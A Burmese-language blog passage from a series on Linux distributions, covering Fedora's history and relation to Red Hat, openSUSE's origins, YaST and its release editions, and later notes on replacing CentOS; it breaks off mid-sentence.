Fedora ကတော့ လူသိများပြီးသား distro တစ်ခုဖြစ်ပါတယ်။ စက်တင်ဘာလ ၂၀၀၄ခုနှစ်ကြမှ Fedora ဆိုတဲ့ နာမည်ကို တရားဝင် မိတ်ဆက်ပေးလိုက်တာဖြစ်ပြီး၊ တကယ်ကတော့ သိကြပြီးသားဖြစ်တဲ့အတိုင်း Red Hat Linux ရဲ့ အစမ်းသပ်ခံ distro တစ်ခုဖြစ်ပါတယ်။ Red Hat အကြောင်းဒီမှာ နည်းနည်းတော့ ပြောပြချင်ပါတယ်။ Red Hat ကို Bob Young နဲ့Marc Ewing ဆိုတဲ့သူ နှစ်ယောက်ကစတင်ခဲ့တာပါ။ Red Hat ကတော့ Free and Open Source တွေရဲ့ project တွေကနေ တကယ်တမ်း အမြတ်အစွန်းရအောင် ကြံဆောင်လို့ရတယ်ဆိုတာကို သက်သေထူသွားခဲ့တဲ့ ပထမဆုံး Linux ကမ္ဘာက distro တစ်ခုပါ။ အဲ့ဒီမတိုင်ခင်တုန်းကတော့ လူတွေတော်တော်များများ open source ကိုဘယ်လိုမှ စီးပွားရေးလောကကို ယူဆောင်သွားလို့မရဘူး လို့ပဲ ထင်ခဲ့ကြပါတယ်။ ဒါပေမယ့်လည်း GNU Manifesto ကိုအသေးစိတ်ဖတ်ကြည့်လိုက်မယ်ဆိုရင်တော့ Richard Stallman ကြီးကအဲ့ဒီအပိုင်းကိုပါအောင်ထည်သွင်းပေးထားခဲ့ပြီးသာပါ။ အဲ့ဒီ GNU Manifesto မှာတော့ “Programmers need to make a living somehow.” ဆိုတဲ့အပိုင်းလေးကို ဖတ်ကြည့်လိုက်တာနဲ့Richard Stallman ရဲ့ကြိုတင်သိမြင်တတ်မူ ပညာကိုလေးစားရမှာပါ။ အဲ့ဒါလေးကို အစတည်ပြီးတော့ Red Hat Linux ကို Enterprise တွေအတွက် Bob Young နဲ့Marc Ewing တို့က project ကို အသက်သွင်းလိုက်တာပါ။ အဓိကအားဖြင့်တော့ product support ကို ရောင်းတာပါ။ Enterprise ကိုရောင်းမှာဖြစ်တဲ့အတွက် community မှာရတဲ့ support ထက်တော့သာရမှဖြစ်မှာကိုလည်းသိတဲ့အတွက် တော်တော်လေးကို ဂရုပြုပြီးတော့ စခဲ့ရတာလည်းဖြစ်ပါတယ်။ အဲ့ဒါကြောင့်လည်း Red Hat က support ဘက်မှာတော်တော်လေးကို နာမည်ကြီးပါတယ်။ ကုမ္ပဏီအကြီးတွေမှာတော့ Red Hat ကို desktop အနေနဲ့ကော server အနေနဲ့ပါ တွင်တွင်ကျယ်ကျယ် အသုံးပြုပါတယ်။ နောက်ပြီးတော့ နာမည်ကျော် RPM (Red-Hat Package Manager) ကိုလည်း နာမည်မှာပါတဲ့အတိုင်း Red Hat ကစတင်မိတ်ဆက်ပေးခဲ့တဲ့ package manager တစ်ခုဖြစ်ပါတယ်။ တကယ်တမ်းတော့ Google တို့လို ကုမ္ပဏီ အကြီးတွေမှာ Linux ကိုသုံးပါတယ်။ Goobuntu လို့ခေါ်တဲ့ Ubuntu ကိုအခြေခံပြီး လိုအပ်သလို ပြန်ပြင်ထားတဲ့ distro ဖြစ်ပါတယ်။ ထားပါတော့ လိုရင်းဖြစ်တဲ့ Fedora အကြောင်းကိုသွားလိုက်ရအောင်ဗျာ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-8f8259e33329b83ae28b2cc7ed398d669733a029%2Ff.jpg?alt=media" alt=""><figcaption></figcaption></figure>

Fedora ရဲ့အဓိပ္ပာယ်ကတော့ ဦးထုပ်တမျိုးပါ။ Red Hat logo မှာပါတဲ့ ဦးထုပ်မျိုးပါ။ Red Hat က Fedora ကို sponsor ပေးပြီး လိုအပ်တဲ့ feature အသစ်တွေ function အသစ်တွေကို Fedora မှာအရင်စမ်းသပ်စေပြီးတော့မှ Red Hat မှာ stable ဖြစ်ပြီးသားတွေကိုပဲထည့်ပေးလိုက်တဲ့ သဘောပါ။ Fedora ကတော့ သူ့community ကတော်တော်ကြီးတယ်လို့ပြောရမှာပါ။ ဖေဖဝါရီလ ၂၀၁၆ခုနှစ် ရဲ့မှတ်တမ်းမှာတော့ အသုံးပြုသူပေါင်း ၁.၂ သန်းကျော်လောက်ရှိပါတယ်။ Linux kernel ရဲ့ god ဖြစ်တဲ့ Linus Torvalds ရဲ့ အနှစ်သက်ဆုံး distro လည်းဖြစ်ပါတယ်။ နောက်ပိုင်းမှာတော့ Fedora က Gnome 3.x နဲ့KDE 4.x ကိုအစောဆုံး စတင်အသုံးပြုတဲ့ distro တစ်ခုဖြစ်လို့ အသုံးပြုတွေတော်တော်များများ ဝေဖန်တာကို ခံခဲ့ရပါတယ်။ တချိန်တည်းမှာပဲ Fedora က နောက်ဆုံးပေါ် နည်းပညာနဲ့တီထွင်ဆန်းသစ်မှုကိုသာ ဦးစားပေးတတ်တဲ့ သဘောကြောင့် သူ့မှာ အနာဂတ်အတွက် ဦးတည်ချက် ရပ်တည်ချက်သေချာမရှိတာကိုလည်း FLOSS community ဝေဖန်ခဲ့ပါတယ်။ ဘာဖြစ်လို့လဲဆိုတော့ Fedora က Red Hat ရဲ့အောက်မှာ လိုသလိုသုံးဖို့စခဲ့တဲ့ project ဖြစ်သည့်အလောက် Red Hat ကပဲ ဆုံးဖြတ်ချက်တော်တော်များများကို အပြီးသတ်ချမှတ်ရတဲ့သဘောရှိတာကြောင့် လောင်ရိပ်မိနေတဲ့ distro တစ်ခုအနေနဲ့လည်း တချို ့ကသုံးသပ်ကြပါတယ်။ ပြီးခဲ့တဲ့ မကြာသေးမီမှာတော့ Fedora 25 (F25 လို့လည်းအတိုကောက်ခေါ်ပါတယ်။) ထွက်ပါတယ်။ Fedora က F25 မှာတော့ အကြီးစားပြင်ဆင်မူတွေနဲ့အတူအများကြီး ဆန်းသစ်ထားတာကို တွေ့ရပါတယ်။ ဥပမာ X.11 အစား Wayland ဆိုတဲ့ display server protocol ကို အသုံးပြုထားတာပါ။ F25 က Wayland ကို အစောဆုံးအသုံးပြုလိုက်ပြန်ပါတယ်။ အဲ့ဒါကတော့ Fedora အတွက်တော့ သူ့ရဲ့ community ကိုအကြီးမားဆုံး အားစမ်းမူလည်းဖြစ်ပါတယ်။ စာရေးသူ F25 ကို install လုပ်ပြီး အသုံးပြုကြည့်သလောက်တော့ သူ့ရဲ့ Gnome 3 desktop ကို သိပ်အကြိုက်မတွေ့ခဲ့ပါဘူး။ Graphic ကို လိုတာထက် ပိုသုံးထားသလိုလည်းခံစားရပါတယ်။ ကွန်ပြူတာ အဟောင်းတွေပေါ်မှာ အသုံးပြုဖို့တော့ သိပ်အဆင်မပြေပါဘူး။ Wayland ကို ပြောင်းလိုက်တာကိုတော့ အကြိုက်တွေ့မိပါတယ်။ Linux ရဲ့ X.11 က graphic မှာ အားနည်းချက်တွေရှိနေတုန်းပါတယ်။ အဲ့ဒါကြောင့်လည်း Nvidia တို့graphic card တွေမှာ ပြဿနာတတ်တယ်လို့တော့ထင်မိပါတယ်။ Wayland ကတော့ အဲ့ဒီလို ပြဿနာတွေကို တဖြေးဖြေး ဖြေရှင်းပေးသွားမယ်လို့ မျှော်လင့်ရပါတယ်။

Fedora မှာလည်း DE ကို ရွေးချယ်စရာတွေရှိပါတယ်။ Gnome အပြင် KDE, LXDE, MATE နဲ့Xfce တို့လို desktop တွေနဲ့လည်းလာပါတယ်။ နဂိုအတိုင်းကတော့ Gnome 3 နဲ့ပါ။ Red Hat စာမေးပွဲတွေ ဖြေဖို့ပြင်ဆင်နေရင်တော့ Fedora က လေ့ကျင့်ဖို့open source version ဖြစ်ပါတယ်။ နောက်ပိုင်းမှာလည်း အချိန်ရရင် Linux Certification တွေအကြောင်းကို ရေးချင်ပါတယ်။ Demand တော်တော်ဖြစ်သလောက် လူသိသိပ်မများဘူးလို့တော့ စာရေးသူထင်မိပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-2678cc689af961f6cb87e9f707e18346b5666232%2Ffedora-768x614.png?alt=media" alt=""><figcaption></figcaption></figure>

**Fedora ရဲ့အားသာချက်များ**

macOS လိုအလှကြိုက်တယ်၊ open source လည်းဖြစ်ရမယ် ဆိုရင်တော့ Fedora ကို ရွေးချယ်သင့်ပါတယ်။ Linux မှာ နောက်ဆုံးပေါ် နည်းပညာများကိုသာ အသုံးပြုထားတဲ့ distro တစ်ခုဖြစ်တဲ့အတွက် လုံခြုံရေးနည်းပညာနဲ့အမြင်ပိုင်းမှာအမြဲ ဆန်းသစ်နေတဲ့ Fedora ကိုတော့ Linux အသုံးပြုသူတိုင်းအကြိုက်တွေ့မှာပါ။ နောက်ပြီး သူ့ရဲ့Package Manager ဖြစ်တဲ့ RPM ကလည်း support စနစ်ကောင်းကောင်းရှိတဲ့အတွက် စိတ်ချလက်ချအသုံးပြုလို့ရတဲ့ distro ပါ။ သေချာတာတစ်ခုကတော့ Fedora ဟာ ဘယ်တော့မှာ အကျိုးမြတ်ရစေဖို့အခကြေးငွေ ယူသွားမှာမဟုတ်တဲ့ အတွက်ကြောင့်မို့ community အတွက်ကော အသုံးပြုသူတွေအတွက်ပါ ရေရှည်ရပ်တည်သွားမယ့် distro လို့ပြောချင်ပါတယ်။

**Fedora နဲ့ဆင်တူ distro များ**

Korora၊ လက်ရှိမှာ နာမည်အရမ်းကြီးလာတဲ့ Red Hat ရဲ့ ကိုယ်ပွားဖြစ်တဲ့ CentOS (နောက်အပိုင်းတစ်ခုမှာ အသေးစိတ်ရေးပါ့မယ်။) နဲ့Scientific Linux တို့ပဲဖြစ်ပါတယ်။

**လက်ရှိ Fedora version နဲ့codename**

ဒီစာရေးနေတဲ့ အချိန် အရှေ့တစ်လမှာပဲ Fedora 25 ထွက်ပါတယ်။ ထုံးစံအတိုင်း Workstation၊ Server နဲ့Cloud ဆိုပြီး edition ၃ခုထွက်ပါတယ်။ အရင်တုန်းကတော့ codename ကို developer တွေကစုပြီးတော့ နာမည်ပေးကြပါတယ်။ သတ်မှတ်ချက်သေချာမရှိပါဘူး။ ပန်းနာမည် မြို ့နာမည် လူနာမည် ပေးချင်တဲ့ နာမည်ကို စုပြီးတော့ ပေးခဲ့ကြပါတယ်။ နောက်ပိုင်းတော့ Fedora community ကို object-oriented programming ရဲ့ “is-a” relationship test လို ဟာမျိုးလေးတွေနဲ့ဉာဏ်စမ်းလည်းပါ voting ပေးတဲ့ ပုံစံမျိုးကို Fedora 20 နဲ့Fedora 21 ထိလုပ်ပါတယ်။ အဲ့ဒီနောက်မှာ အဲ့ဒါကိုလည်းမလုပ်တော့ပဲ ရိုးရိုး Fedora 25 Workstation လို့သာခေါ်ပါတော့တယ်။ အရင်တုန်းကနာမည်ပေးတဲ့ပုံစံ ကိုအသေးစိတ်လေ့လာလိုတယ်ဆိုရင်တော့ Fedora Project website မှာသွားရောက်လေ့လာလို့ရပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-547cfe5ed5105b523d2ccae9ec7cfe3874de7555%2F42bb5aa1eefcea03a66a3e34bbb6b03a-768x434.png?alt=media" alt=""><figcaption></figcaption></figure>

စာကြွင်း။ ။ နောက်ဆုံးထွက်တဲ့ version ကတော့ Fedora 30 ဖြစ်ပါတယ်။ Red Hat က အခုအချိန်ထိတော့ ဆက်လက် sponsor လုပ်နေတုန်းပါ။ လက်ရှိ IBM ရဲ့ acquisition အပြီးမှာ ဘယ်လိုမျိုး အပြောင်းအလဲ ဖြစ်မလဲဆိုတာတော့ သတင်းမထွက်လာသေးပါဘူး။


# လူသုံးများ ရေပန်းစားသော GNU/Linux Distro များ အပိုင်း (၆)

**၆. openSUSE**

openSUSE ကိုတော့ SUSE Linux လို့ခေါ်တဲ့ ဥရောပတခွင်မှာ နာမည်ကျော်ကြားတဲ့ distro ကနေ community အတွက် open source project တစ်ခုအနေနဲ့ပြန်ထွက်လာတဲ့ distro တစ်ခုပါ။ Red Hat ရဲ့ RPM ကိုအမှီပြုထားပြီး Slackware ဆိုတဲ့ ရှေးဟောင်း distro တစ်ခုကို အခြေခံပြီး ပြန်လည် စမ်းသစ်ထားတာပါ။ SUSE ရဲ့ အရှည်ကတော့ ဂျာမန်လို Software und System-Entwicklung ကိုယ်စားပြုထားပြီး အင်္ဂလိပ်လိုတော့ software and systems development လို့ အဓိပ္ပာယ်ပါတယ်။ သူ့ကို developer တွေ နဲ့system administrator တွေအတွက် အဆင့်မြင့်နည်းပညာတွေအသုံးပြုထားတဲ့ distro တစ်ခုလည်းဖြစ်ပါတယ်။ SUSE Linux ကိုတော့ ၁၉၉၂ခုနှစ်မှာ ဂျာမနီက Linux ကိုရူးသွပ်ကြသူ တွေ ဖြစ်တဲ့ Roland Dyroff, Thomas Fehr, Hubert Mantel နဲ့Burchard Steinbid ဆိုသူ လေးယောက်ကစတင်လိုက်ကြပါတယ်။ Fehr တစ်ယောက်တည်း software engineer အဖြစ်အလုပ်လုပ်နေပြီးတော့ ကျန်တဲ့ သုံးယောက်ကတော့ အဲ့ဒီ ကုမ္ပဏီထောင်တုန်းက ကျောင်းသားတွေပဲရှိပါသေးတယ်။ SUSE ကတော့ ဥရောပမှာ တစ်ခုသော စီးပွားဖြစ်ထုတ်လုပ်တဲ့ အောင်မြင်သော distro တစ်ခုဖြစ်ပါတယ်။ ပထမ ကတော့ community အတွက် ထုတ်ပေးတာမျိုးမရှိပဲနဲ့နောက် Novell က ၂၀၀၃ခုနှစ်မှာ ဝယ်လိုက်ပြီးနောက် ၂၀၀၅ခုနှစ်မှာ openSUSE distribution နဲ့ openSUSE project က community အတွက်ချပေးလိုက်ပါတော့တယ်။ အဲ့ဒါကြောင့် ၂၀၀၅ နောက်ပိုင်းမှာ Novell ရဲ့ openSUSE certification နဲ့distro ရဲ့ အောင်မြင်မှုစတင်ရရှိလာခဲ့ပါတယ်။ စာရေးသူရဲ့ ပထမဆုံး Linux ကိုတော့ ၂၀၀၈ခုနှစ်မှာ openSUSE နဲ့စတင်လေ့လာတွေ့ရှိခဲ့ရပါတယ်။ အဲ့ဒီတုန်းကတော့ openSUSE က graphic ပိုင်းမှာ တခြား distro တွေအတိုင်းသိပ်မကောင်းတော့ စာရေးသူအနေနဲ့သိပ်မကြိုက်ပါဘူး။ နောက်ပိုင်းမှ နားလည်လိုက်ရတာကတော့ Linux ကို အလှအတွက်အသုံးပြုတာမဟုတ်ဘူး developer တွေ sysadmin တွေအတွက်အဆင်ပြေအောင် လုပ်ထားတယ်ဆိုတာသိရတာပါ။ openSUSE ကို စတင်အသုံးပြုကတည်း အဆင်ပြေပြေသုံးနိုင်တဲ့ YaST နဲ့YaST2 ကို သတိထားမိပါတယ်။ YaST ကတော့ Yet another Setup Tool ရဲ့ အတိုကောက်ပါ။ SUSE ကမိတ်ဆက်ပေးလိုက်တဲ့ Linux မှာ အဆင်ပြေပြေ အသုံးပြုနိုင်တဲ့ tool ပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-e1296b557296ffc2caaeebdd74257f0e76fbfc8a%2FOpenSUSE_official-logo-color.svg_-768x486.png?alt=media" alt=""><figcaption></figcaption></figure>

Novell ရဲ့ ဆုံးဖြတ်ချက်တစ်ခုကြောင့် FLOSS community က openSUSE တော်တော်လေး ဝေဖန်ခဲ့ကြပါတယ်။ ဖြစ်ပုံက ၃ရက်နေ့ နိုဝင်ဘာလ ၂၀၀၆ မှာ Novell က Microsoft နဲ့စာချုပ်တစ်ခု လက်မှတ်ထိုးလိုက်ပါတယ်။ ၂၅ရက် ဇူလိုင်လ ၂၀၁၁ခုနှစ်မှာ အဲ့ဒီ စာချုပ်ကိုပဲ ထပ်မံတိုးချုပ်လိုက်ပါတယ်။ စာချုပ်အရ Microsoft က openSUSE ရဲ့ product တွေကို Microsoft အတွက် အလုပ်ဖြစ်အောင် ပူးတွဲလုပ်ဆောင်ရမှဖြစ်မှာပါ။ ပြီးတော့ product တွေကိုလည်း Microsoft ရဲ့ သတ်မှတ်ထားတဲ စည်းမျဉ်းအတိုင်း patent လုပ်ဖို့ရာဖြစ်ပါတယ်။ အဲ့ဒီတော့ ပြီးခဲ့တဲ့တစ်လက Microsoft က Linux Foundation ကို platinum partner အနေနဲ့ပူးပေါင်းခဲ့တာ ပထမဆုံး အကြိမ်လို့တောင်ပြောလို့မရပါဘူး။ ၂၀၀၆ မှာကတည်းက Microsoft က Linux ရဲ့ product တွေကိုကပ်ကြွေနေပြီ လက်ဝါးကြီးအုပ်ဖို့ ကြိုးစားနေခဲ့တာပါ။ နောက်တခါ Novell က SUSE ကို Attachmate Group ထပ်မံပြီးတော့ရောင်းလိုက်ပါတယ်။ နောက်ပိုင်းမှာတခါ ၂၀၁၄ခုနှစ်မှာ Micro Focus ဆိုတာနဲ့လည်း ပူးပေါင်းလိုက်တဲ့အတွက် openSUSE community အတွက် တော်တော်လေးကို အခက်ကြုံရပါတယ်။ ဒါကိုကြည့်ခြင်းအားဖြင့် Open Source မှာလည်း license တွေ နဲ့စီးပွားဖြစ်လုပ်တဲ့အခါမှာ လောဘသမားတွေရဲ့ အမြတ်အစွန်းထုတ်လိုမူနဲ့ထိပ်တိုက်ရင်ဆိုင်ရတာကို လေ့လာတွေ့ရှိရပါတယ်။ ဆုံးဖြတ်ချက်တွေမှားရင်လည်း distro ရဲ့ အနာဂတ်အတွက် ထိခိုက်ရပါတယ်။ အခုချိန်ထိတော့ Red Hat ကတော့ Enterprise မှာ အောင်မြင်နေဆဲပါ။ ၂၀၁၄ခုနှစ် ၂၀၁၅ ခုနှစ်ထိတော့ VMware ရဲ့ virtual appliance တွေကို SUSE နဲ့လာပါတယ်။ နောက်ပိုင်းတော့ စာချုပ်ကိစ္စ license ကိစ္စ တွေကြောင့်ထင်ပါတယ် SUSE နဲ့မလာတော့ဘူးလို့စာရေးသူသတိထားမိပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-a45adb934fa842419a2bec28b2e29c3a446aceaa%2Fopensuse-768x614.png?alt=media" alt=""><figcaption></figcaption></figure>

**openSUSE ရဲ့ အားသာချက်များ**

သုံးရတာလွယ်ကူတဲ့ YaST လို tool တွေရှိတဲ့အတွက် Microsoft မှာ Control Panel လို အကုန်စုစည်းပေးထားတာကြောင့် Linux စတင်အသုံးပြုတွေတော့ အဆင်ပြေမှာပါ။ RPM ကိုအသုံးပြုထားတဲ့ အတွက် software တွေ package တွေတော်တော်များကို အသုံးပြုလို့ပါတယ်။ openSUSE community နဲ့သူ့ documentation ကကောင်းလို့ပြဿနာ ဖြစ်တာနဲ့ရှာရ ဖွေရ လွယ်ပါတယ်။ အစကတည်း SUSE က documentation ကောင်းတာနဲ့နာမည်ရပြီးသားပါ။

**openSUSE နဲ့ ဆင်တူတဲ့ distro များ**

Slackware ကနေဆင်သက်လာတဲ့အတွက် Slackware နဲ့တော့ နီးစပ်ပါတယ်။ openSUSE ကတော့ သူ့ဟာသူ အသစ်ထုတ်ပြင်ဆင်ရင်းနဲ့ကိုယ်ပိုင်သီးခြား ပုံစံမျိုးဖြစ်နေပါတော့တယ်။ YaST ကိုလည်း SUSE ကလွဲလို့တခြား distro မှာ အသုံးပြုတယ်လို့တော့ မထင်ပါဘူး။

**လက်ရှိ openSUSE version နဲ့release cycle**

openSUSE ကတော့ server အတွက်ကော desktop အတွက်ပါထုတ်ပါတယ်။ KDE နဲ့ကော Gnome နဲ့ကော ကိုယ်ကြိုက်တဲ့ desktop ကိုရွေးပြီး အသုံးပြုလို့ရပါတယ်။ Factory ဆိုတဲ့ project အောက်မှာ အသစ်တွေကို တောက်လျှောက်ထည့်သွင်းပြီးတော့ rolling release ဆိုတဲ့ Tumbleweed edition နဲ့ထုတ်ပါတယ်။ အဲ့ဒါကတော့ အသစ်ကို ထွက်ထွက်ခြင်းစမ်းသပ်ချင်တယ်၊ ပြဿနာများလည်းရတယ် stable မဖြစ်လည်းရတယ်ဆိုတဲ့ လူတွေအတွက်ပါ။ rolling ဆိုတာ အချိန်တိုအတွင်းမှာ release အများကြီးထုတ် တယ်လို့ပြောချင်တာပါ။ နည်းပညာသမားတွေ တော်တော်များသိပါတယ် အဲ့ဒီ rolling ဆိုတာကိုတော့။ နောက်တမျိုးကတော့ Leap လို့ခေါ်တဲ့ edition ပါ။ သူကတော့ stable ဖြစ်ပြီးသား package တွေကိုသာ ထည့်ပေးပြီး အသုံးပြုသူတွေ အဆင်ပြေအောင် လုပ်ပေးထားတဲ့ edition ပါ။ openSUSE စတင်သုံးမယ်ဆိုရင်တော့ Leap ကိုသာ သုံးသင့်ပါတယ်။ လက်ရှိ version ကတော့ openSUSE Leap 42.2 ဖြစ်ပါတယ်။ Leap ကိုတော့ ၂၀၁၅ခုနှစ် နှောင်းပိုင်းမှာ စတင်ထုတ်လိုက်ပြီး 42.1 လို့ခေါ်ပါတယ်။ အောက်မှာတော့ openSUSE version နဲ့release တွေကို ဖော်ပြထားတဲ့ ပုံဖြစ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-2818ea5a7f92b702462e0903d10e6825f665d2c8%2Fd2fc8e0445509f2b695f94f5dfd6d914.png?alt=media" alt=""><figcaption></figcaption></figure>

စာကြွင်း။ ။ အခုအချိန်မှာတော့ openSUSUE ရဲ့ နောက်ဆုံးထွက်တဲ့ version က Leap 15.1 ဖြစ်ပါတယ်။ openSUSE ဟာ မကြာသေးခင် ဟိုတလော လောက်ကမှ proprietary တွေလက်ထဲမှာ အရှုပ်တွေရှင်းပြီးတဲ့နောက် ကိုယ်ပိုင်ပြန်လည် ရပ်တည်ခွင့် ရခဲ့တဲ့ အတွက် Leap 42.3 အပြီးမှာတော့ SUSE Linux Enterprise (SLE) ပေါ်မှာ ပြန်လည် အခြေခံပြီးတော့ ထုတ်လိုက်တဲ့အတွက် version ကို Leap 42 ကနေ Leap 15 ပြန်ဖြစ်သွားတယ် လို့ စာရေးသူထင်ပါတယ်။

\[14/07/2020] စာကြွင်း။ ။ ဒီလထဲမှာ နောက်ဆုံး openSUSE ရဲ့ Leap 15.2 ထွက်ပါတယ်။ General availability release date ကတော့ 02/07/2020 ဖြစ်ပါတယ်။ သိပြီးကြတဲ့အတိုင်း Tumbleweed မှာတော့ rolling release ဖြစ်တဲ့အတွက် တောက်လျှောက်ဆိုသလို အပြောင်းအလဲတွေရှိနေပြီးတော့ Leap မှာတော့ လုံးဝ stable ဖြစ်ပြီဆိုတဲ့ အရာတွေကိုပဲထည့်သွင်းပေးထားပါတယ်။ ဒီ Leap 15.2 release မှာ အကြီးဆုံးအပြောင်းအလဲတစ်ခုဟာ Linux kernel 5.3.18 ကို ထည့်သုံးထားဖြစ်ပြီးတော့ ဒီ့မတိုင်မီ kernel 4.12 နေရာမှာအစားထိုးပြီးတော့ ပြောင်းလဲထည့်သွင်းထားတာလည်းဖြစ်ပါတယ်။ ဒီအတွက် Linux kernel 5.3.18 ရဲ့ ကောင်းအမွေတွေ အကုန်လုံးကို ခံစားရပြီးတော့ အခြားအခြားသော hardware compatibility support တွေ အများကြီးနဲ့ ဒီ release ဟာ နည်းပညာလောကထဲက လူတွေရဲ့ စိတ်အာရုံကို ဖမ်းစားစေခဲ့ပါတယ်။ ဒီ distro မှာပါဝင်တဲ့ desktop environment တွေမှာလည်း အပြောင်းအလဲတွေ အများကြီးလုပ်ခဲ့ပါတယ်။ ဥပမာ Xfce 4.12 နေရာမှာ Xfce 4.14 ကိုအသုံးပြုထားပြီးတော့ ပိုမိုသစ်ဆန်းတဲ့ GTK3 toolkit ကိုပြောင်းလဲအသုံးပြုထားပါတယ်။ သို့သော် KDE နဲ့ GNOME မှာတော့ minor feature update မျိုးရှိပြီးတော့ အခြားအပြောင်းအလဲ အများကြီး မရှိပါဘူး။ နောက်ပြီး Sway 1.4 tiling Wayland compositor ကို နာမည်ကျော် i3 window manager အစား ထည့်သွင်းအသုံးပြုပါတယ်။ အခြားသော Linux community တွေမှာတော့ i3 window manager ဟာ တစ်ခေတ်ထလို့နေပြန်ပါသေးတယ်။ Application တွေမှာလည်း သင့်တော်တဲ့ version update တွေအပြင် openSUSE installer ဖြစ်တဲ့ Calamares မှာလည်း user-friendly ဖြစ်လာအောင် လုပ်ထားတဲ့ အပြောင်းအလဲတွေကို လုပ်ထားပါတယ်။ အားလုံးခြုံငုံပြီး ကြည့်ရင်တော့ distro-hopper တစ်ယောက်အနေနဲ့ ၂၀၂၀ ခုနှစ် COVID-19 ရာသီခွင်မှာ မစမ်းမဖြစ် စမ်းရမယ့် Linux distribution တစ်ခုဖြစ်ပါတယ်။

\[17/01/2021] စာကြွင်း။ ။ CentOS 8 ကို Red Hat ကပြီးခဲ့တဲ့နှစ်ကုန်ခါနီးလောက်မှာ အပြီးသတ်ဖို့ သတင်းထွက်လာတဲ့နောက်မှာ စာရေးသူ စဉ်းစားမိတာတစ်ခုက CentOS ချက်ချင်းလက်ငင်း အစားထိုးနိုင်မည့် distro များရှိသေးလားလို့ပါ။ CentOS 7 ကတော့ အသက်ကျန်သေးလို့ ဆက်ပြီး သုံးချင်ရင်သုံးနိုင်သေးသော်လည်း ၂၀၂၄ခုနှစ်မှာ သက်တမ်းကုန်ဆုံးမှာဖြစ်တဲ့အတွက် ၄နှစ်သာသာလောက်ကျန်တယ်လို့ ဆိုနိုင်ပါတော့တယ်။ Rocky Linux ရဲ့ CentOS ကိုအစားပေးမည့် project ကစိတ်ဝင်စားဖို့ ကောင်းသော်လည်း လူအားငွေအား အများကြီးထည့်ပြီး အချိန်တော်တော်လေးပေးမှာသာ ရုပ်လုံးပေါ်လာမည့် သဘောဖြစ်နေပါတယ်။ Rocky Linux project ကိုလည်း တချိန်က CentOS Linux project ကိုစတင်ခဲ့တဲ့ Gregory Kurtzer ကပြန်လည် ဦးဆောင်မှာဖြစ်ပြီးတော့ အလားအလာတော့ အများကြီးရှိပါတယ်။ နောက်ပြီးတော့... သူ အခုနောက်ပိုင်း interview အချို့မှာ CentOS 8 ရဲ့ သက်တမ်း မကုန်ခင် ၂၀၂၁ အကုန်ပိုင်းလောက်မှာ အဆင်သင့်ဖြစ်နိုင်ဖို့တော့ မျှော်လင့်တယ်လို့ တော့ဆိုပါတယ်။ သို့သော်... အကြောင်းတွေ အမျိုးမျိုးကြောင့် နှောင့်နှေးမှုတွေလည်း အများကြီးရှိနိုင်ပါတယ်။ ဟုတ်ပြီ... ဒါဆိုရင် ဘယ်လိုမျိုး distro အဆင်ပြေနိုင်မလဲလို့ စဉ်းစားမိတိုင်း OpenSUSE ကို စာရေးသူရဲ့ ခေါင်းထဲမှာ ထပ်ခါထပ်ခါပေါ်လာတာကြောင့် lab နဲ့ production တွေမှာ ပြန်လည်သုံးဖို့ရာ ဖြစ်လာပြန်ပါတယ်။ OpenSUSE ဟာ Linux မှာရှိတဲ့ distro တွေထဲမှာတော့ အစဉ်အလာကောင်းတဲ့ distro တစ်ခုပါ။ နောက်ပြီးတော့... Red Hat မှာလိုပဲ OpenSUSE အတွက် enterprise offering ဖြစ်တဲ့ SUSE Linux Enterprise Server ဟာလည်း အခုချိန်ထိ Germany နဲ့ ဥရောပနိုင်ငံ အချို့များမှာ တွင်တွင်ကျယ်ကျယ် အသုံးပြုနေဆဲပါ။ လွန်ခဲ့ တပတ်နှစ်ပတ်လောက်က podcast တစ်ခုနားထောင်ရင်းနဲ့ OpenSUSE အကြောင်းပြောတာကြားလို့ လိုက်နားထောင်ကြည့်တာ၊ OpenSUSE community က SUSE Linux Enterprise Linux နဲ့ OpenSUSE ကိုဘယ်သူတွေအသုံးပြုနေသေးသလဲဆိုတာကို စာရင်းကောက်ပြီးတော့၊ ဘယ်နိုင်ငံ ဘယ်အသက်အရွယ်အပိုင်း ဘယ်လောက်သုံးဖြစ်နေသေးသလဲဆိုတာကို တစ်ခုချင်းစီသေချာ သုံးသပ်ပြတာဖြစ်နေပါတယ်။ အမေရိကန် နဲ့ ကနေဒါ နိုင်ငံတွေမှာ အသုံးပြုနှုန်းဟာ ဥရောပနိုင်ငံတွေထက် ပိုများတာကိုတွေ့ ရပြီး၊ အသက်အရွယ်အပိုင်းမှာတော့ အသက် ၄၀ နဲ့ အထက် ပိုင်းမှာ ပိုပြီးတော့ သုံးတာကိုလည်း စိတ်ဝင်စားစွာတွေ့ရှိရပါတယ်။ သုံးတဲ့ နေရာမှာလည်း production နဲ့ လက်တွေ့မှာ နေ့စဉ်အသုံးပြုဖို့အတွက် setup လုပ်ထားတဲ့ environment မျိုးတွေမှာ အသုံးပြုကြောင်းကိုလည်း သိရှိရတယ်။ တော်တော်လေးကို စိတ်ဝင်စားဖို့ကောင်းပါတယ်။ အထက်မှာပြောသလိုပဲ... စာရေးသူအထင်တော့ CentOS ကို အစားထိုးဖို့ရာ OpenSUSE ရဲ့ Leap ကို server အနေနဲ့ အသုံးပြုကြမယ်ထင်ပါတယ်။ Tumbleweed ကိုတော့ Desktop မှာအသုံးနိုင်ပြီးတော့ Desktop Environment တော်တော်များများကိုလည်း 